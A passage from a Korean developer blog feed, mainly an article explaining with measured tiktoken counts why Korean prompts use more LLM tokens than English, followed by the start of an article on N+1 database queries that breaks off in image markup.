&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;developer&lt;/code&gt; 는 &lt;strong&gt;1토큰&lt;/strong&gt;입니다. &lt;code class=&quot;language-text&quot;&gt;개발자&lt;/code&gt; 는 &lt;strong&gt;3토큰&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;같은 뜻인데 세 배입니다. 그리고 LLM API 요금은 글자 수가 아니라 &lt;strong&gt;토큰 수로&lt;/strong&gt; 매겨집니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;토큰은 글자도 단어도 아닙니다.&lt;/strong&gt; 학습 데이터에 자주 나온 덩어리를 통째로 하나씩 번호 붙인 것이고, 그 학습 데이터가 영어 중심이었습니다. 그래서 영어는 단어 하나가 토큰 하나로 떨어지는데, 한글은 음절 단위로 잘게 쪼개집니다.&lt;/p&gt;
&lt;p&gt;아래 숫자는 전부 &lt;strong&gt;OpenAI &lt;code class=&quot;language-text&quot;&gt;o200k_base&lt;/code&gt;(GPT-4o 계열)와 &lt;code class=&quot;language-text&quot;&gt;cl100k_base&lt;/code&gt;(GPT-4)로 직접 재서&lt;/strong&gt; 넣었습니다. 재는 코드도 아래에 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;토큰은 글자가 아니다&lt;/h2&gt;
&lt;p&gt;먼저 눈으로 보는 게 빠릅니다. &lt;code class=&quot;language-text&quot;&gt;o200k_base&lt;/code&gt; 기준으로 이렇게 쪼개집니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;developer&quot;     → [&quot;developer&quot;]                    1토큰
&quot;개발자&quot;         → [&quot;개&quot;, &quot;발&quot;, &quot;자&quot;]                 3토큰
&quot;데이터베이스&quot;    → [&quot;데&quot;, &quot;이터&quot;, &quot;베&quot;, &quot;이스&quot;]        4토큰
&quot;인증&quot;           → [&quot;인&quot;, &quot;증&quot;]                      2토큰&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;developer&lt;/code&gt; 는 9글자인데 1토큰이고, &lt;code class=&quot;language-text&quot;&gt;개발자&lt;/code&gt; 는 3글자인데 3토큰입니다. &lt;strong&gt;글자 수와 토큰 수는 아무 관계가 없습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;왜 이렇게 쪼개지나 — BPE&lt;/h2&gt;
&lt;p&gt;대부분의 LLM은 &lt;strong&gt;BPE(Byte Pair Encoding)&lt;/strong&gt; 계열 토크나이저를 씁니다. 원리는 단순합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;학습 말뭉치를 바이트 단위로 잘게 쪼갠다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;가장 자주 붙어 나오는 쌍&lt;/strong&gt;을 찾아 하나로 합친다&lt;/li&gt;
&lt;li&gt;원하는 어휘 크기가 될 때까지 2번을 반복한다&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;그러니까 &lt;strong&gt;자주 나온 덩어리일수록 통째로 하나의 토큰&lt;/strong&gt;이 됩니다. &lt;code class=&quot;language-text&quot;&gt;developer&lt;/code&gt; 는 영어 말뭉치에 수백만 번 나오니 통째로 한 자리를 차지합니다. 반면 &lt;code class=&quot;language-text&quot;&gt;개발자&lt;/code&gt; 는 그만큼 나오지 않아 음절로 남습니다.&lt;/p&gt;
&lt;p&gt;여기에 한글이 불리한 이유가 하나 더 있습니다. &lt;strong&gt;UTF-8에서 한글 한 글자는 3바이트&lt;/strong&gt;입니다. 영어 알파벳은 1바이트고요. BPE는 바이트에서 출발하기 때문에, 어휘에 등재되지 못한 한글은 처음부터 세 배 무거운 상태에서 시작합니다.&lt;/p&gt;
&lt;h2&gt;실제로 얼마나 차이 나나&lt;/h2&gt;
&lt;p&gt;단어 하나만 보면 극적이지만, 실무에서 중요한 건 &lt;strong&gt;문장 단위&lt;/strong&gt;입니다. 같은 지시문을 넣어 재 봤습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;EN  Summarize the following document in three sentences.
    Keep key terms as they are and do not omit any numbers.
KO  다음 문서를 세 문장으로 요약해 주세요.
    핵심 용어는 그대로 두고, 숫자는 빠뜨리지 마세요.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;토크나이저&lt;/th&gt;
&lt;th&gt;영어&lt;/th&gt;
&lt;th&gt;한글&lt;/th&gt;
&lt;th&gt;비율&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;o200k_base&lt;/code&gt; (GPT-4o 계열)&lt;/td&gt;
&lt;td&gt;23토큰&lt;/td&gt;
&lt;td&gt;30토큰&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.30배&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;cl100k_base&lt;/code&gt; (GPT-4)&lt;/td&gt;
&lt;td&gt;23토큰&lt;/td&gt;
&lt;td&gt;46토큰&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2.00배&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;두 가지를 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;첫째, 단어 단위보다 문장 단위 차이가 작습니다.&lt;/strong&gt; 3배가 아니라 1.3배입니다. 한글은 조사·어미가 붙는 대신 글자 수 자체가 적어서 어느 정도 상쇄됩니다. &quot;한글은 토큰을 2~3배 먹는다&quot;는 말이 흔히 도는데, &lt;strong&gt;최신 토크나이저에서는 과장입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;둘째, 토크나이저 세대에 따라 크게 달라집니다.&lt;/strong&gt; 같은 문장이 GPT-4 시절 46토큰에서 GPT-4o 계열 30토큰으로 줄었습니다. 한국어를 더 많이 학습해 어휘에 한글 덩어리가 늘었기 때문입니다. &lt;strong&gt;모델을 바꾸면 코드 한 줄 안 고쳐도 요금이 내려갈 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;단어 단위로 보면 개선 폭이 더 뚜렷합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단어&lt;/th&gt;
&lt;th&gt;&lt;code class=&quot;language-text&quot;&gt;cl100k_base&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code class=&quot;language-text&quot;&gt;o200k_base&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;database&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;데이터베이스&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 vs &lt;strong&gt;6&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1 vs &lt;strong&gt;4&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;deploy&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;배포&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 vs &lt;strong&gt;5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1 vs &lt;strong&gt;2&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;authentication&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;인증&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 vs &lt;strong&gt;3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1 vs &lt;strong&gt;2&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;그래서 무엇이 달라지나&lt;/h2&gt;
&lt;p&gt;토큰 수는 세 가지를 동시에 정합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;① 요금.&lt;/strong&gt; 입력·출력 모두 토큰 단위로 과금됩니다. 프롬프트를 1.3배 쓰면 요금도 1.3배입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;② 컨텍스트 한계.&lt;/strong&gt; &quot;200K 컨텍스트&quot;는 글자 200,000자가 아니라 &lt;strong&gt;토큰&lt;/strong&gt; 200,000개입니다. 한글 문서는 같은 분량이라도 더 빨리 한계에 닿습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;③ 속도.&lt;/strong&gt; 출력은 토큰을 하나씩 생성합니다. 토큰이 많으면 그만큼 오래 걸립니다.&lt;/p&gt;
&lt;p&gt;즉 &lt;strong&gt;&quot;한글이라 요금이 더 나온다&quot;는 체감은 사실&lt;/strong&gt;입니다. 다만 그 배수가 흔히 말하는 것만큼 크지는 않고, 쓰는 모델에 따라 달라집니다.&lt;/p&gt;
&lt;h2&gt;직접 재는 법&lt;/h2&gt;
&lt;p&gt;추측하지 마시고 재세요. 몇 줄이면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; i js-tiktoken&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Tiktoken &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;js-tiktoken/lite&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;https://tiktoken.pages.dev/js/o200k_base.json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; enc &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tiktoken&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; text &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;다음 문서를 세 문장으로 요약해 주세요.&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; ids &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; enc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ids&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 토큰 수&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ids&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; enc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 어떻게 쪼개졌는지&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;두 번째 줄이 중요합니다. &lt;strong&gt;어떻게 쪼개졌는지 눈으로 보면&lt;/strong&gt; 프롬프트에서 어느 부분이 비싼지 바로 보입니다.&lt;/p&gt;
&lt;p&gt;파이썬이면 &lt;code class=&quot;language-text&quot;&gt;pip install tiktoken&lt;/code&gt; 후 &lt;code class=&quot;language-text&quot;&gt;tiktoken.get_encoding(&quot;o200k_base&quot;)&lt;/code&gt; 입니다.&lt;/p&gt;
&lt;h2&gt;주의 — 이 숫자가 모든 모델에 통하지는 않습니다&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Claude와 Gemini는 토크나이저를 공개하지 않습니다.&lt;/strong&gt; 위 숫자는 OpenAI 계열 기준이고, 다른 모델에서는 값이 다릅니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Claude&lt;/strong&gt;: &lt;a href=&quot;https://docs.claude.com/en/docs/build-with-claude/token-counting&quot;&gt;Anthropic API의 토큰 카운트 엔드포인트&lt;/a&gt;로 실제 값을 조회할 수 있습니다. 추정 라이브러리는 오차가 큽니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gemini&lt;/strong&gt;: SDK의 &lt;code class=&quot;language-text&quot;&gt;count_tokens&lt;/code&gt;를 씁니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;원리는 같습니다.&lt;/strong&gt; BPE 계열이고, 학습 말뭉치에 자주 나온 덩어리일수록 적은 토큰을 씁니다. 배수만 다릅니다.&lt;/p&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 그럼 프롬프트를 영어로 쓰는 게 이득인가요?&lt;/strong&gt;
A. 토큰만 보면 그렇지만, &lt;strong&gt;답변 품질과 함께 봐야 합니다.&lt;/strong&gt; 한국어 답변이 필요하면 출력은 어차피 한글 토큰입니다. 그리고 최신 토크나이저에서 차이가 1.3배 수준이라, 영어로 바꾸느라 지시가 부정확해지면 재시도 비용이 더 큽니다. 반복 호출되는 &lt;strong&gt;시스템 프롬프트처럼 고정된 긴 지시문&lt;/strong&gt;만 영어로 두는 절충이 현실적입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 토큰을 줄이는 가장 효과적인 방법은 뭔가요?&lt;/strong&gt;
A. 문장을 다듬는 것보다 &lt;strong&gt;같은 내용을 반복해서 보내지 않는 것&lt;/strong&gt;이 훨씬 큽니다. 프롬프트 캐싱, 컨텍스트 정리, 불필요한 파일 첨부 제거 순으로 효과가 큽니다. 구체적인 방법은 아래 시리즈에 정리해 뒀습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 코드는 토큰을 얼마나 먹나요?&lt;/strong&gt;
A. 코드는 영어 기반이라 자연어 한글보다 유리하지만, &lt;strong&gt;들여쓰기·중괄호·세미콜론이 전부 토큰&lt;/strong&gt;입니다. 미니파이하지 않은 JSON이나 깊게 중첩된 코드를 통째로 붙이면 생각보다 비쌉니다.&lt;/p&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;토큰은 글자도 단어도 아니다.&lt;/strong&gt; 학습 말뭉치에 자주 나온 덩어리다.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;developer&lt;/code&gt; 1토큰 vs &lt;code class=&quot;language-text&quot;&gt;개발자&lt;/code&gt; 3토큰 — &lt;strong&gt;단어 단위 차이가 가장 크다.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;문장 단위로는 1.3배&lt;/strong&gt;(&lt;code class=&quot;language-text&quot;&gt;o200k_base&lt;/code&gt;). 흔히 말하는 2~3배는 구형 토크나이저 기준이다.&lt;/li&gt;
&lt;li&gt;토큰 수가 &lt;strong&gt;요금·컨텍스트 한계·속도&lt;/strong&gt;를 동시에 정한다.&lt;/li&gt;
&lt;li&gt;Claude·Gemini는 토크나이저가 비공개다. &lt;strong&gt;추측하지 말고 API로 재라.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이제 &quot;왜 이렇게 비싼가&quot;를 알았으니, &lt;strong&gt;줄이는 방법&lt;/strong&gt;은 시리즈로 정리해 뒀습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/token-saving-beginner/&quot;&gt;Claude Code 토큰 절약 [초급편] — 지금 바로 줄이는 5가지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/token-saving-intermediate/&quot;&gt;Claude Code 토큰 절약 [중급편] — 설정과 워크플로우 최적화 7가지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/token-saving-advanced/&quot;&gt;Claude Code 토큰 절약 [고급편] — 자동화와 아키텍처 레벨 최적화&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;내 데이터를 붙이는 쪽이 궁금하시면 &lt;a href=&quot;/rag-explained/&quot;&gt;RAG란?&lt;/a&gt; 도 같이 보시면 좋습니다.&lt;/p&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://help.openai.com/en/articles/4936856-what-are-tokens-and-how-to-count-them&quot;&gt;OpenAI — What are tokens and how to count them&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/tiktoken&quot;&gt;tiktoken (GitHub)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.claude.com/en/docs/build-with-claude/token-counting&quot;&gt;Anthropic — Token counting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[N+1 쿼리 — 목록 하나 불렀는데 쿼리가 101번 나가는 이유]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 게시글 100개를 불렀습니다. 쿼리는 10…]]></description><link>https://blog.javapark.kr/n-plus-one-query/</link><guid isPermaLink="false">https://blog.javapark.kr/n-plus-one-query/</guid><pubDate>Sat, 22 Aug 2026 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/575c1f6b77af3d0964bde9cf41edc584/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACL0lEQVR42h1SiW7TQBB1aXbWaXzGV3ys7cRH7NipE6dOmpKjadqmFQqFgoqIBEgV4geQQCA+nnWlp9XO7rw383aWkTnk6M2IiIEt6BJWRGzI4GoQmpATKLswi2CRwDqtQTc0pIcZqRMYiUNd9dWs36pinsdHJ+hIF489rRGbjaHbmIZolcI2x7uixjaHZQLTEAofEhuYNo8+P73/+Li/3iz+/fn19/fP7aKILFz1pUUmLlJ2k8HdCO9LeFOi+xHl49d9POnhgQOMzDXurteHp8fVRfXj+dvXw4d3dxfbWbCZ2LeVuc5atNr9CL5MzOfS34XilS+uiDh3hdyl5NbxuvIPD9P7y+zTfrrbTB928/11WYZCbjPzGK4yfFvAYWx9L6ObSLnstV/7yrkn1ZVVHu3mxtONQ9e3a4sYnKOxocWedlvTmJuFsKSeM1StnXxJslE7KZQgV8NUrj2bEng61+0ItspZCtezpcARU08sQqmKxUkAsxgWMTo7N6oLMh6pp4WWDtUoFCP62paEVgNhFnN5YCSe0jWFceIQrVllTmyxOUHjHpyFcB6gTc4vB/w84aqISyzwdWBcBXwVezVYV2EtGTryy6h1tmdAbMGAwNCtZ5O7KCON1EZBp+HryFYQ01Uh0NlAb3oKODKiZENCmoB0kV5TRxB0gHbYt2tQLRoGVtPTWZrAhBrOCT/0xNA4IW3Kx6aMdQEpAlAJU64liAbeC4iKHAV6Fu/oHP0g/wE1nlPus6IU4gAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/575c1f6b77af3d0964bde9cf41edc584/a1b3b/thumbnail.webp 215w,
/static/575c1f6b77af3d0964bde9cf41edc584/fc700/thumbnail.webp 430w,
/static/575c1f6b77af3d0964bde9cf41edc584/521f7/thumbnail.webp 860w,
/static/575c1f6b77af3d0964bde9cf41edc584/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/575c1f6b77af3d0964bde9cf41edc584/f7886/thumbnail.png 215w,
/static/575c1f6b77af3d0964bde9cf41edc584/bc750/thumbnail.png 430w,
/static/575c1f6b77af3d0964bde9cf41edc584/3e3fe/thumbnail.png 860w,
/static/575c1f6b77af3d0964bde9cf41edc584/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/575c1f6b77af3d0964bde9cf41edc584/3e3fe/thumbnail.png&apos; alt=&apos;N+1 쿼리 커버 — 목록 조회 1번에 이어 100번의 추가 쿼리가 나가는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;N+1 쿼리 커버 — 목록 조회 1번에 이어 100번의 추가 쿼리가 나가는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;게시글 100개를 불렀습니다. 쿼리는 &lt;strong&gt;101번&lt;/strong&gt; 나갔습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;로컬에서는 아무 문제가 없습니다. 데이터가 열 건뿐이니까요. 그런데 운영에 올라가고 목록에 천 건이 쌓이는 순간, 응답이 갑자기 느려집니다. 로그를 켜 보면 똑같은 모양의 SQL이 화면을 가득 채우고 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;N+1 문제입니다.&lt;/strong&gt; 그리고 솔직히 말씀드리면, 지금 여러분 프로젝트에도 거의 확실히 하나쯤 있습니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;목록을 가져오는 쿼리 1번 + 각 항목의 연관 데이터를 가져오는 쿼리 N번&lt;/strong&gt;입니다. ORM이 연관 관계를 &quot;필요할 때 가져오도록&quot;(지연 로딩) 만들어 뒀는데, 반복문 안에서 그 필요가 N번 발생하기 때문입니다.&lt;/p&gt;
&lt;p&gt;쿼리 한 번이 101번으로 불어나는 장면을 눈으로 보고 싶으시면 &lt;strong&gt;53초 영상&lt;/strong&gt;으로도 정리했습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/XoyfB9ZT4yU&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 108.83720930232559%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAIAAABPIytRAAAACXBIWXMAAAAAAAAAAAHqZRakAAAD9klEQVR42k2T2W7jNhRAFUuUJdmRvGTRRu37btmS5T2rHU8mTTPJDNqZpz4OUKBvfSj6Rf3KXnuCosABQV7y8F5RJOGKVIJRqtGZhoDCoAsdjYwDpUn/ACK5TgMZRrA4UVGm055EEZlGPzX953n/ZTnYlqdv68FV1vlQ8y/L3tNM+OVm+LLorSJmbKGJRQOlTk2d9sdGKK02UZjsrlYeGvXnjXM3Ot/X4tut91Bfzj167gNo5qHaQZV9AOSxCaDKaqcYEVDJyKC2Yf9zobwV0qf88ikffinFb2PptTi7CtqN15p5ZONSsAUAJay87msmjQ2GCBUqx1SB0digYb/apqcOmjn03G0vHHrmoMZB04NGQeaRSYX4JNHI0miHCiJytbPyzq7C86XbX9j80uXXDr8BXP7qHQGAyMI5fY7lP6b550SvDb7AXaIxhZep/fU6eSyUa7d/Hwy2/mAXDh7C/j4c7I8dGO78AWz3e5P88/z697K+S6SlOyRimRlhrsRcZXamdndmcQu7s3I6G69z7XWBK6+7drtLpzu3OrXFjQym1LlS7yRKm4hUMtPJwiDHZmtikbVFFloL/scYOubJyDwpzFaunSRqqzKY2uQmOlvqbIHZSKaJsUldp927UW9X9h5K/iZClQmHR9U22se9bcTfh8Ktz++CwWN4vnGF2+hi7Q5WVg8+m8hU4us++ev7hz9/W3//Ut/GTGVSYwNOmP6Sy5+yS+A5uXxNpef4cmF2vz8tXqduo3UP8sSCJORDjt4qBGmXPvlthD+nyq+5CsJrJn5KReikmFw7wr0//JqZP4Xy3BQq/ZSAG9K4kIeauWgVoHWIJnCxNWqsUxX8eYOGYWmgsU5v3N7KEeYm35inC6s/1rqEI5KBTIYKGcON1+CFUDFuJbgFqTLcyg6dVqpChISpFNOxSocyFUiUI1KELSJPQr6MAhVFmE70dmbQuYHgJf0HDFMdpmhYAMt8BXkyApEIMLcqlXWplK4Qa0xqcLnJjSyutLnSegeGhdWBeGqwqc4lOhdpnKewILO72fntZDgN+H1ztm+G99UgMdjM5ID82GY/NINNjmaosZDSUxjCl9mbQNp4F5Ul3EXifSw+JurKG96HIrRzt1/ZfKK/a0CssSHmfMy5MnuUfXnjXlamcBeIt774IQL5bBtKa+986Q2ndu//ZozZUOV8lXMkhvBkdheoa/ci13kwt4H0kuhX3sVjhKGclXsG8sE5EuFD2kBl32VXYmf2BSSfOcNtqFx74so5n5i9xh6WZq8whEw/jTAHHLRjwf4xsw2ycUFD9RnmC40vdSHGHVuiHYm2JNqW2rbMOHLbkxk4nndkxoWgxID4L3L9tTtiuMlxAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/7dd8612f1291f7e0d47fdfd2e84f91f5/a1b3b/video-thumb.webp 215w,
/static/7dd8612f1291f7e0d47fdfd2e84f91f5/fc700/video-thumb.webp 430w,
/static/7dd8612f1291f7e0d47fdfd2e84f91f5/521f7/video-thumb.webp 860w,
/static/7dd8612f1291f7e0d47fdfd2e84f91f5/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/7dd8612f1291f7e0d47fdfd2e84f91f5/f7886/video-thumb.png 215w,
/static/7dd8612f1291f7e0d47fdfd2e84f91f5/bc750/video-thumb.png 430w,
